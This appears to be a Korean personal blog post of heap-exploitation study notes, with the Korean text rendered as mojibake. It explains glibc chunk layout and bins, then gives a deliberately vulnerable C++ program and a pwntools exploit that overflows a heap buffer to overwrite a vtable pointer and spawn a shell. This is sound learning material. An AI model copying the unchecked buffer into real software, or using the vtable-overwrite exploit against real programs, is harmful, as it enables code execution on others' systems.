SqrtreV

Ethical Hacker and Researching A.I with Keras ๐Ÿ˜ƒ

Heap Chunk

2019/3/29 ์ƒˆ๋ฒฝ 1์‹œ 15๋ถ„

์ˆ ๋งˆ์‹œ๊ณ  ๋“ค์–ด์™€์„œ ์“ฐ๋Š” ์˜ค๋Š˜ ๊ณต๋ถ€ ๋‚ด์šฉ ์ •๋ฆฌ

(์‚ฌ์‹ค ํ•ดํ‚น๋™์•„๋ฆฌ ๊ณผ์ œ๋กœ supercarshop์ด๋ผ๋Š” ๋ฌธ์ œ๋ฅผ ๋šซ์–ด์˜ค๋ผ๊ณ  ํ•ด์„œ ๊ณต๋ถ€ํ–ˆ๋‹ค)

(pwnable.tw์˜ ghostparty๋ณด๋‹ค ์–ด๋ ค์šด๊ฑด ์•ˆ๋น„๋ฐ€)


Heap Chunk๋Š” ์•„๋ž˜์™€ ๊ฐ™์€ ๊ตฌ์กฐ๋กœ ๋˜์–ด์žˆ๋‹ค

prev_size | size

data


์—ฌ๊ธฐ์„œ ์ค‘์š”ํ•œ size์˜ ํ•˜์œ„ 3๋น„ํŠธ๋Š”


PREV_INUSE : ์ด์ „ chunk๊ฐ€ ์‚ฌ์šฉ์ค‘์ผ ๋•Œ ์„ค์ •๋˜๋Š” ํ”Œ๋ž˜๊ทธ
IS_MMAPPED : mmap() ํ•จ์ˆ˜๋กœ ํ• ๋‹น๋œ chunk์ผ ๋•Œ ์„ค์ •๋˜๋Š” ํ”Œ๋ž˜๊ทธ
NON_MAIN_ARENA : ๋ฉ€ํ‹ฐ ์“ฐ๋ ˆ๋“œ ํ™˜๊ฒฝ์—์„œ main ์ด ์•„๋‹Œ ์“ฐ๋ ˆ๋“œ์—์„œ ์ƒ์„ฑ๋œ ๋ฉ”๋ชจ๋ฆฌ ์ผ ๋•Œ ์„ค์ •

์ด๋‹ค. (์ถœ์ฒ˜: https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/)

์‚ฌ์‹ค gdb๋กœ ์ง์ ‘ ๊นŒ๋ณด๋‹ˆ๊นŒ size - 1(prev_inuse bit)ํ•˜๋ฉด ๋Œ€์ถฉ ๋‹ค์Œ heap chunk์™€์˜ ๊ฑฐ๋ฆฌ๊ฐ€ ๋˜๋Š”๋“ฏ ํ•˜๋‹ค.


prev_size๋ฅผ ์กฐ์ž‘ํ•˜๋ฉด ์ด์ „ chunk์˜ ์œ„์น˜๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค.

size๋ฅผ ์กฐ์ž‘ํ•˜๋ฉด ๋‹ค์Œ chunk์˜ ์œ„์น˜๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค.

prev_inuse bit์„ ์กฐ์ž‘ํ•˜๋ฉด ํ• ๋‹น ํ•ด์ œ ์—ฌ๋ถ€๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค.


์—ฌ๊ธฐ์„œ heap chunk๋Š” ํฌ๊ธฐ์— ๋”ฐ๋ผ ์ฒ˜๋ฆฌํ•˜๋Š” bin ๋ฐฉ์‹์ด ๋‹ฌ๋ผ์ง€๊ฒŒ๋œ๋‹ค.


fastbin / small bin / large bin / unsorted bin


์—ฌ๊ธฐ์„œ unsorted bin์ด ๊ต‰์žฅํžˆ ์ค‘์š”ํ•œ๋ฐ, ์„ค๋ช…์€ ์•„๋ž˜์™€ ๊ฐ™๋‹ค


"๊ฐ chunk ๋“ค์€ free๊ฐ€ ๋๋‹ค๊ณ  ๋ฐ”๋กœ ํ•ด๋‹น bin ๋ฆฌ์ŠคํŠธ์— ๋“ค์–ด๊ฐ€๋Š”๊ฒŒ ์•„๋‹ˆ๋ผ unsorted chunk list๋ฅผ ๊ฑฐ์น˜๊ณ ,

๋ฉ”๋ชจ๋ฆฌ ํ• ๋‹น์‹œ์—๋Š” unsorted chunk list๋ฅผ ์ œ์ผ ๋จผ์ € ํ™•์ธํ•˜์—ฌ ๊ฐ™์€ ํฌ๊ธฐ์˜ free๋œ chunk๊ฐ€ ์žˆ๋‹ค๋ฉด ํ•ด๋‹น chunk๋ฅผ ์žฌ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค."

(์ถœ์ฒ˜: https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/)


์ฆ‰, unsorted bin์„ ์ด์šฉํ•˜๋ฉด ์ทจ์•ฝ์ ์„ ๋ฐœ์ƒ์‹œํ‚ฌ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

Unsorted bin์— ๋“ค์–ด๊ฐ€๋Š” ๊ฒฝ์šฐ
  • free ํ–ˆ์„ ๋•Œ ๊ฐ bin(small bin, large bin)์œผ๋กœ ๋“ค์–ด๊ฐ€๊ธฐ ์ „(fastbin์€ ์˜ˆ์™ธ)

  • fastbin๋“ค์ด ๋ณ‘ํ•ฉ๋˜์–ด ํ•ฉ์ณ์ง€๋Š” ๊ฒฝ์šฐ

  • bestfit(์žฌ ํ• ๋‹น์‹œ)์œผ๋กœ ํ• ๋‹น๋œ chunk์˜ ๋‚จ์€ ๋ถ€๋ถ„์ธ remainder

  • ์ธ์ ‘ํ•œ chunk๋„ free๋˜์–ด ๋ณ‘ํ•ฉ๋œ free chunk

Unsorted bin์—์„œ ๋‚˜์˜ค๋Š” ๊ฒฝ์šฐ
  • ์‚ฌ์šฉ์ž๊ฐ€ malloc์„ ํ˜ธ์ถœํ–ˆ์„๋•Œ, ๋™์ผํ•œ size์˜ chunk๊ฐ€ ์žˆ์„ ๊ฒฝ์šฐ

    โ€” ๋‚ด ์ƒ๊ฐ์ธ๋ฐ ์ด๊ฑธ ์ด์šฉํ•˜๋ฉด ์ทจ์•ฝ์ ์„ ํ„ฐ๋œจ๋ฆด ์ˆ˜ ์žˆ์„๊ฒƒ ๊ฐ™๋‹ค.


์‚ฌ์šฉํ•œ ํž™์„ freeํ•˜๊ฒŒ ๋˜๋ฉด ๊ตฌ์กฐ๋Š” ์•„๋ž˜์™€ ๊ฐ™์ด ๋ณ€ํ•œ๋‹ค.

(fast bin)

prev_size | size

โ€‹ fd | bk



ํ•ดํ‚น ๊ณผ์ œ๋กœ ๋‚˜์˜จ supercarshop์€ C++๋กœ ์ž‘์„ฑ๋˜์–ด, vtable์„ ์ด์šฉํ•œ๋‹ค.


๊ทธ๋Ÿฌ๋ฏ€๋กœ heap์„ ์ข€ ๋” ์ดํ•ดํ•ด๋ณด๊ธฐ ์œ„ํ•ด ์ฝ”๋”ฉํ•˜์—ฌ ์ง์ ‘ exploitํ•ด๋ดค๋‹ค.

C++ Code

#include <iostream>
#include <cstdlib>
#include <stdio.h>

using namespace std;

class Object
{
public:
    char data[0x100];
    virtual int test();
};

int Object::test()
{
    cout << "This is test func!" << endl;
    return 0;
}

int main(void){
    int choice = 0;
    Object *object[2] = {new Object, new Object};

    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);

    printf("Heap Address: %p\n",object[0]);
    while(1)
    {
        cout << "1. edit object" << endl;
        cout << "2. test" << endl;
        cout << "> ";
        cin >> choice;
        switch(choice)
        {
            case 1:
                cout << "Which object do you want to edit? ";
                cin >> choice;
                if(choice < 0 || choice > 1)
                {
                    cout << "There is no Object" << endl;
                    break;
                }
                cout << "Enter Data: ";
                cin >> object[choice]->data;
                break;

            case 2:
                cout << "Which object do you want to test? ";
                cin >> choice;
                if(choice < 0 || choice >1)
                {
                    cout << "There is no object" << endl;
                    break;
                }
                object[choice]->test();
                break;

            default:
                cout << "There is no such chocie." << endl;
        }
    }
    return 0;
}

void exploit(void){
    system("/bin/sh");
}

Exploit Code

from pwn import *

exploit = 0x0000000000400e13
#e = ELF("./vtable")
p = process("./vtable")

p.recvuntil("Address: ")
leak = p.recvuntil("\n")[:-1]
p.info("heap: %s",leak)
leak = int(leak,16)

payload = ""
payload += "A"*(0x100-32)
payload += p64(exploit)
payload += "\x00"*24            # heap overflow until prev_size
payload += "\x11\x01"           # restore size
payload += "\x00"*0x6       # padding for vtable pointer position
payload += p64(leak+232)    # exploit addr (vtable pointer position)

p.sendlineafter(">","1")
p.sendlineafter("?","0")
p.sendlineafter(":",payload)

#gdb.attach(p)
p.interactive()

์ง์ ‘ ๋ฌธ์ œ ํ’€๋ฉด์„œ vtable์ด ์–ด๋””์— ์œ„์น˜ํ•˜๋‚˜ ๋ถ„์„ํ•ด๋ดค๋”๋‹ˆ ์•„๋ž˜์™€ ๊ฐ™์•˜๋‹ค.

prev_size | size

vtable ptr | data

ํœดโ€ฆ heap์€ ์–ด๋ ต์ง€๋งŒ ์žฌ๋ฐŒ๋Š”๊ฑฐ ๊ฐ™โ€ฆ๊ธฐ๋„ ํ•˜๊ณ โ€ฆ

์—ฌํŠผ ์–ผ๋ฅธ supercarshop ํ’€์–ด์•ผ ํ•˜๋Š”๋ฐ ๊ฑฑ์ •์ด๋‹ค ใ… ใ…